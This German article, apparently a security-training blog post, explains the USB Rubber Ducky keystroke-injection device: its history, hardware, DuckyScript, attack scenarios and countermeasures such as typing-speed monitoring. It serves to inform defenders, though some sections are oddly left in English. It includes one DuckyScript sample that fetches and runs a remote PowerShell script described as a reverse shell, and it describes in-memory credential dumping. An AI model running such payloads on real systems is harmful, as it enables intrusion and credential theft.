USB Rubber Ducky: Das gefährliche Tastatureingabe-Injektions-Tool, das jeder Verteidiger kennen sollte

Warum der USB Rubber Ducky in der modernen Sicherheit wichtig ist
Es ist wichtig zu wissen, was Pentesting-Tools sind und wie sie aussehen – besonders für den Fall, dass jemand auf der falschen Seite der Barrikade beschließt, sie in unserer Organisation einzusetzen. Geräte, die auf den ersten Blick harmlos erscheinen, können in Wirklichkeit grundlegende Annahmen ausnutzen, die in Betriebssystemen und Hardware-Schnittstellen verankert sind.
In diesem Teil der Serie konzentrieren wir uns auf ein Gerät, das im Feldausrüstungsset praktisch jedes professionellen Pentester zu finden ist: den USB Rubber Ducky.
Der USB Rubber Ducky ist nur ein Beispiel dafür, wie physische Angriffstools technische Schutzmaßnahmen umgehen können – einen umfassenderen Überblick über ähnliche Geräte finden Sie in unserer Übersicht über Pentesting-Tools, in der wir Hardware analysieren, die häufig bei realen Bewertungen eingesetzt wird.
Code-Debugging und „Rubber Ducking“Im Software Engineering ist das Rubber-Duck-Debugging eine Methode zur Fehlersuche im Code, bei der ein Problem in gesprochener oder geschriebener natürlicher Sprache formuliert wird. Der Name stammt aus einer Geschichte in The Pragmatic Programmer, wo ein Entwickler eine Gummiente mit sich führte und Code debuggte, indem er sie Zeile für Zeile der Ente erklärte. Wenn man beschreibt, was der Code tun soll, und beobachtet, was er tatsächlich tut, werden Inkonsistenzen offensichtlich. Allgemeiner betrachtet, zwingt das Lehren eines Themas dazu, es aus verschiedenen Perspektiven zu betrachten, und kann ein tieferes Verständnis ermöglichen. Diese Methode ist eine Form des „lauten Denkens“, ein Verfahren, das als effektiver Weg zur Beschleunigung der Problemlösung anerkannt ist.
USB Rubber Ducky und der Aufstieg von Keystroke-Injection-Angriffen
An den Grundlagen der Informatik – seit ihrer Entstehung unverändert – liegt eine Annahme zugrunde, die auf Vertrauen basiert. Der grundlegende Input/Output-Signalaustausch basiert auf dem Vertrauen in Human Interface Devices (HID). Ein Mensch vertraut darauf, dass sich ein Computer hinter dem Monitor befindet, und der Computer vertraut darauf, dass die Tastatur einen menschlichen Benutzer repräsentiert. Die Entwickler der BadUSB-Angriffsklasse beschlossen, genau dieses Vertrauensmodell auszunutzen.
Der USB Rubber Ducky ist ein Gerät, das im Jahr 2010 den Keystroke-Injection-Angriff in die Landschaft der praktischen Sicherheitsbedrohungen einführte. Seitdem ist er ein unverzichtbares Werkzeug im professionellen Penetrationstesting geworden. Die Idee hinter seiner Entwicklung war einfach: eine Lösung zu schaffen, die einfach anzupassen ist, keine komplexe Entwicklungsumgebung erfordert, das Schreiben von C-Code vermeidet und keine Firmware-Modifikation beinhaltet. Hak5 erreichte dies durch die Entwicklung des ersten originalen „Rubber Ducky“. Das Gerät entwickelte sich direkt aus dem früheren Switchblade USB-Projekt, bot aber einen einfacheren Workflow, breitere Zugänglichkeit, einen ausgefeilten Formfaktor und kommerzielle Verfügbarkeit. Wichtig ist, dass es das ursprüngliche Konzept von skriptbasierten Payloads bewahrte, die über eine microSD-Karte geladen werden.
Von außen sieht der USB Rubber Ducky aus wie ein gewöhnlicher USB-Stick. In Wirklichkeit verhält er sich wie eine automatisierte Tastatur, die über 1.000 Wörter pro Minute tippen kann – weit jenseits menschlicher Fähigkeiten.

Der USB Rubber Ducky sieht aus wie ein normaler USB-Stick, funktioniert aber als programmierbares HID-Angriffsgerät.
Wie der USB Rubber Ducky als BadUSB-Gerät funktioniert
Der USB Rubber Ducky ist ein dediziertes Keystroke-Injection-Angriffstool, das automatisch Code auf einem Zielcomputer ausführt, sobald er angeschlossen wird. Dies erreicht er, indem er sich als HID-Gerät wie eine Tastatur oder Maus ausgibt.
Sobald er angeschlossen ist, injiziert das Gerät vordefinierte Sequenzen von Tastenanschlägen, Tastenkombinationen und Befehlen, die auf seiner microSD-Karte gespeichert sind. Aus Sicht des Betriebssystems sind diese Aktionen von legitimen Benutzereingaben nicht zu unterscheiden.
Der praktische Effekt ist einfach und gefährlich: Der Benutzer erlaubt einem Angreifer unwissentlich, Befehle im Kontext seiner eigenen Tastatur einzugeben.
BadUSB BeetleSince USB Rubber Ducky appeared on the market in 2010, numerous substitutes of varying quality and design approaches have emerged – for example, BadUSB Beetle, which is an Arduino Leonardo board using the ATmega32U4 controller. Arduino is a well-known open-hardware platform used for learning electronics fundamentals while also offering significant construction capabilities.The original USB Rubber Ducky has many advantages over its substitutes, but alternatives also have benefits – primarily much lower cost. Initially, the “Ducky” cost $45; today it costs $100 (excluding shipping). Substitute devices typically cost only a few dollars – up to around $8 for higher-quality boards. These substitutes are also noticeably smaller than the original USB Rubber Ducky, especially those without additional flash memory or a microSD slot (meaning they can only function as a keyboard and cannot store files).
Während sich USB Rubber Ducky auf HID-basierte Angriffe konzentriert, zielen andere Pentesting-Tools, wie zum Beispiel WiFi Pineapple, auf drahtlose Vertrauensannahmen ab und zeigen, wie verschiedene Angriffsvektoren gleichermaßen grundlegende Designentscheidungen ausnutzen.
Hardware-Design und Evolution des USB Rubber Ducky
Die erste Generation des USB Rubber Ducky bestand aus einer Mikrocontroller-Platine, die um einen 60 MHz, 32-Bit AT32UC3B1256 Chip herum aufgebaut war. Sie umfasste einen USB-A-Anschluss, eine siebenpolige JTAG-Schnittstelle, die auch als E/A-Port fungieren konnte, und einen microSD-Kartensteckplatz, der SDHC unterstützte.
Dieses Design ermöglichte es Pentestern, mehrere Payloads mitzuführen und Angriffsszenarien durch den Austausch von microSD-Karten schnell zu wechseln. Die moderne Version des USB Rubber Ducky erweitert diese Idee durch die Einführung von USB-C-Konnektivität, was Angriffe gegen eine breitere Palette von Zielen ermöglicht – von Desktop-Systemen bis hin zu mobilen Geräten.
Zusätzlich zum USB-C-Anschluss erhielt das Gerät mehrere neue Funktionen. Es nutzt einen neuen Datenexfiltrationspfad, der Endpunktbeschränkungen, Firewalls und Sicherheitslücken umgeht. Es imitiert auch menschliches Tippverhalten, während Dateisystem-Spoofing erfasste Dateien und Injektionen verbirgt. Es kann sogar Massenspeicheraktivitäten erkennen, um Geräteinteraktionen zu identifizieren.
Das Gerät bietet eine passive Betriebssystem- und Desktop- oder Mobilgeräte-Identifikation in weniger als einer Sekunde, was die Bereitstellung zielspezifischer Payloads ermöglicht. Nach der Modernisierung kann es auch Endpunkt-Gegenmaßnahmen umgehen, indem es Hardware-Identifikatoren klont – es imitiert die Hersteller-ID und Produkt-ID jedes USB-Geräts, sowie Hersteller, Seriennummer und Produktzeichenketten, mittels eines einzigen Befehls. Hak5 führte außerdem dynamische Angriffsmodi ein, die es dem Gerät ermöglichen, praktisch jedes USB-Gerät zu imitieren. Mit dem bekannten attackmode-Befehl kann die Geräteemulation spontan geändert werden, um jede Kombination aus Tastatur und Massenspeicher nachzuahmen.
Die Hardware selbst ist bewusst einfach gehalten. Was den USB Rubber Ducky so leistungsfähig macht, ist nicht seine Konstruktion, sondern das, wozu er programmiert werden kann.
Programmierung des USB Rubber Ducky mit DuckyScript
Der USB Rubber Ducky wird mit DuckyScript programmiert, einer einfachen Skriptsprache, die speziell für die Tastenanschlag-Injektion entwickelt wurde. Das Skript wird in ein vom Controller verstandenes Format kompiliert und auf der microSD-Karte gespeichert.
Eine grundlegende Payload könnte ein PowerShell-Skript direkt im Speicher herunterladen und ausführen, wobei jegliche Schreibvorgänge auf die Festplatte vermieden werden und minimale forensische Spuren hinterlassen werden. Dies macht den USB Rubber Ducky besonders effektiv in Umgebungen mit eingeschränkter Endpunktüberwachung.
DuckyScript-Befehle wie DELAY, GUI, STRING und ENTER bilden direkt menschliche Tastaturaktionen ab. Die Einfachheit der Syntax ist beabsichtigt – sie ermöglicht eine schnelle Entwicklung von Payloads ohne fortgeschrittene Programmierkenntnisse.
Ein Beispielskript in DuckyScript könnte so aussehen:
REM Skript herunterladenDELAY 1000GUI rSTRING powershell \\\"IEX (New-Object \\\Net.WebClient).DownloadString('https://goodserver/\\\definitelynotbad.ps1');"ENTER
Die URL-Adresse sollte durch die Adresse des Servers ersetzt werden, der die Payload hostet. Das obige Skript lädt eine Reverse Shell direkt in den PowerShell-Speicher, ohne etwas auf die Festplatte zu schreiben, und hinterlässt keine Spuren.
Wie gezeigt, ist die DuckyScript-Syntax sehr einfach. Code zu kommentieren ist eine gute Praxis und wird mit dem Parameter REM durchgeführt. Der zweite Befehl, DELAY, weist das USB-Gerät an, 1000 Millisekunden zu warten (der Grund für diesen Wert wird im Abschnitt Intelligente Verzögerungen besprochen). Diese Verzögerung gibt dem Zielcomputer Zeit, den USB Rubber Ducky als Tastatur zu erkennen, bevor er mit der Eingabe beginnt. GUI r entspricht dem gleichzeitigen Drücken der Windows-Taste und r, wodurch das Ausführen-Fenster geöffnet wird. STRING gibt Text „von der Tastatur“ ein, und ENTER simuliert das Drücken der Enter-Taste.
Standardmäßig liest das Gerät nur ein einziges komplexes Tastatur-Simulationsskript von der Speicherkarte. Es kann jedoch frei umprogrammiert werden, um beispielsweise vom Computer exfiltrierte Dateien zu speichern oder sein Verhalten je nach Zielsystem, mit dem es verbunden ist, zu variieren. Es ist auch möglich, die VID- und PID-Identifikatoren des Geräts programmatisch zu ändern, damit es ein bestimmtes Tastaturmodell eines bestimmten Herstellers imitiert. Dies ist besonders nützlich in Unternehmensumgebungen, die fortschrittliche Endpunktschutzmaßnahmen einsetzen, USB-Ports blockieren und nur ausgewählte Gerätetypen zulassen.
Duckyscript SkriptspracheDuckyScript is a macro scripting language. It sequentially processes one of two actions: keystroke injection (typing key combinations) and delay (temporary pause). These actions, written into a payload, instruct USB Rubber Ducky what to do – either type or wait.Over the years, DuckyScript evolved to include device-specific commands. With the introduction of another pentesting device – Bash Bunny – in 2017, DuckyScript was coupled with the BASH shell scripting language. Using a Linux base, these DuckyScript payloads enabled multivector USB attacks. DuckyScript was also included in Shark Jack for Ethernet network probing. Key Croc uses DuckyScript 2.0 to conduct numerous hot-plug attacks based on keylogging data.With the release of the new USB Rubber Ducky in 2022, DuckyScript 3.0 was introduced – a feature-rich, structured programming language. It includes all previously available commands and features of the original DuckyScript. Additionally, DuckyScript 3.0 introduces control flow constructs (if/then/else), loops (while), functions, and extensions. It also adds many automation-specific features for keystroke injection, such as HID and storage attack modes, keystroke reflection, jitter, and randomization.
Warum Tastatureingabe-Injektion so effektiv ist
Als HID-Gerät profitiert der USB Rubber Ducky vom impliziten Vertrauen, das Computer in Tastaturen setzen. Betriebssysteme gehen davon aus, dass Tastatureingaben von einem menschlichen Benutzer stammen und gewähren ihnen daher standardmäßig eine breite Palette von Funktionen.
Auf der microSD-Karte gespeicherte Payloads können vertrauenswürdige Benutzer nachahmen, indem sie Tastatureingaben mit übermenschlicher Geschwindigkeit injizieren. Ein häufiges Szenario ist das Laden von Tools zum Auslesen von Anmeldeinformationen wie Mimikatz direkt in den Speicher mithilfe von PowerShell-Reflexionstechniken.
Bei einem solchen Angriff öffnet die Payload eine erhöhte Eingabeaufforderung, umgeht die Benutzerkontensteuerung (UAC), verbirgt Eingaben, lädt die erforderlichen Tools von einem Remote-Server herunter, führt sie im Speicher aus und exfiltriert Anmeldeinformationen – alles innerhalb von etwa 15 Sekunden.
Dies bedeutet, dass ein Angreifer nur eine kurze Ablenkung benötigt, um eine unbeaufsichtigte Arbeitsstation zu kompromittieren.

Optisch nicht von einem Standard-USB-Stick zu unterscheiden, nutzt der USB Rubber Ducky das eingebaute Vertrauen in USB-Geräte aus.
Jenseits des Zugangsdaten-Diebstahls: Angriffsszenarien
Der Diebstahl von Zugangsdaten ist nur ein Beispiel dafür, was die Tastatureingabe-Injektion ermöglicht. Der USB Rubber Ducky kann für eine Vielzahl bösartiger Aktivitäten eingesetzt werden, einschließlich destruktiver Aktionen wie Dateilöschung oder Netzwerkaufklärungsaufgaben wie Traffic Sniffing.
Gleichzeitig können dieselben Funktionen für legitime Zwecke umfunktioniert werden. In nicht-bösartigen Szenarien kann der USB Rubber Ducky wiederkehrende Arbeitsabläufe automatisieren, vordefinierte Systemkonfigurationen bereitstellen oder Entwicklungsumgebungen schnell auf neuen Maschinen vorbereiten.
Ähnlich wie Mehrzweckgeräte wie Flipper Zero zeigt der USB Rubber Ducky, wie kompakte Hardware physischen Zugriff mit logischen Angriffen kombinieren kann, wodurch oft Kontrollen umgangen werden, die sich ausschließlich auf Software-Bedrohungen konzentrieren.
Verteidigung gegen USB Rubber Ducky Angriffe
Da BadUSB-Geräte mit für Menschen unerreichbaren Geschwindigkeiten arbeiten, ist die Verteidigung gegen sie in Echtzeit eine Herausforderung. Eine gängige Gegenmaßnahme ist der Einsatz physischer USB-Port-Blocker, die das Anschließen unbefugter Geräte verhindern. Diese Blocker können jedoch physisch entfernt werden, wenn die Endpunkte nicht ordnungsgemäß überwacht werden.
Eine weitere Option ist spezielle Software, die die Tippgeschwindigkeit überwacht. Einige Programme, wie DuckHunter, sind darauf ausgelegt, im Hintergrund zu laufen und die Tastenanschlagraten genau zu beobachten. Da Rubber Ducky-Geräte mit für Menschen praktisch unerreichbaren Geschwindigkeiten tippen, blockiert eine solche Software die Tastatureingabe, sobald ein BadUSB-Angriff erkannt wird. Der Nachteil ist, dass diese Programme einige Millisekunden zur Erkennung des Angriffs benötigen. Je nach Payload-Größe kann ein Teil des Inhalts injiziert werden, bevor die Software eingreift. Zudem kann der “Ducky” nach den Verbesserungen des letzten Jahres nun menschliches Tippen imitieren, um diese Art von Schutz zu umgehen.
Eine obligatorische Konfiguration beschränkt auch den Zugriff auf erweiterte Befehlszeilenprivilegien. Das Starten der Eingabeaufforderung als Administrator ermöglicht eine vollständige Palette von Aktionen, die auf dem System ausgeführt werden können. Unter Windows kann der Zugriff auf die erweiterte Eingabeaufforderung durch Eingabe von CMD im Ausführen-Dialog und gleichzeitiges Halten von Ctrl + Shift + Enter erlangt werden. Diese Tastenkombinationen können einfach in eine Rubber Ducky programmiert werden. Die Anforderung eines Passworts für den Zugriff auf erweiterte Befehlszeilen stoppt jede „Rubber Ducky“, die darauf programmiert ist, administrative Berechtigungen zu erlangen, sofort.
Intelligente VerzögerungenConfiguring delays in a payload is necessary because USB Rubber Ducky can inject keystrokes faster than the target system is ready to process them meaningfully. While the USB Rubber Ducky boots, processes, and begins execution almost instantly, the target must enumerate and configure the new USB HID device.Since the earliest keystroke injection attacks and the beginnings of DuckyScript 1.0, convention dictated setting the DELAY parameter to 3000. Updates to DuckyScript introduced extensions – a concept borrowed from Bash Bunny. DuckyScript 3.0 includes logic required for programmatic decision-making and awareness of Lock key states, allowing payloads to wait exactly as long as necessary for reliable injection.The Lock keys – Scroll Lock, Num Lock, and Caps Lock – are toggle keys that change key group behavior when enabled and revert it when pressed again, without carrying semantic meaning themselves. Using one of the DuckyScript 3.0 extensions – Detect_Ready – dynamically adjusts how long USB Rubber Ducky waits after boot before injecting keystrokes. The extension waits for a defined delay until the state of a selected Lock key is confirmed or an iteration limit is reached.The minimum response delay is set by default to 25 ms – sufficient for Windows 10 to recognize the device and the lowest value that yields optimal speed without unnecessary iterations. Once Rubber Ducky confirms that the system recognizes a Lock key press, this serves as a sufficient indication that the host will accept further keystrokes sent by the device.
Tastatureingabe-Injektion für legitime Automatisierung nutzen
Zu verstehen, wie Tastatureingabe-Injektion funktioniert, hilft nicht nur bei der Verteidigung. Es ermöglicht auch die verantwortungsvolle Wiederverwendung der Technik für Automatisierung und Produktivität.
Gut definierte Konfigurations-Workflows, automatisierte Systemeinrichtung und wiederholbare Umgebungsbereitstellung sind alles gültige Anwendungen der Tastatureingabe-Injektion, wenn sie ethisch und transparent eingesetzt werden.
Fazit
USB Rubber Ducky zeigt, wie tief Vertrauen in Computersysteme eingebettet ist – und wie leicht es missbraucht werden kann. Egal ob Sie es aus einer defensiven, offensiven oder automatisierungsfokussierten Perspektive betrachten, ist das Verständnis der Tastatureingabe-Injektion unerlässlich für jeden, der mit modernen Endpunkten arbeitet.
Wenn Sie besser verstehen möchten, wie USB Rubber Ducky im Vergleich zu anderen offensiven Tools in Assessments abschneidet, empfehlen wir Ihnen, mit unserem vollständigen Leitfaden für Pentesting-Hardware zu beginnen, der diese Geräte in einen realen operativen Kontext stellt.
Bereit für eine Karriere in der Cybersicherheit?




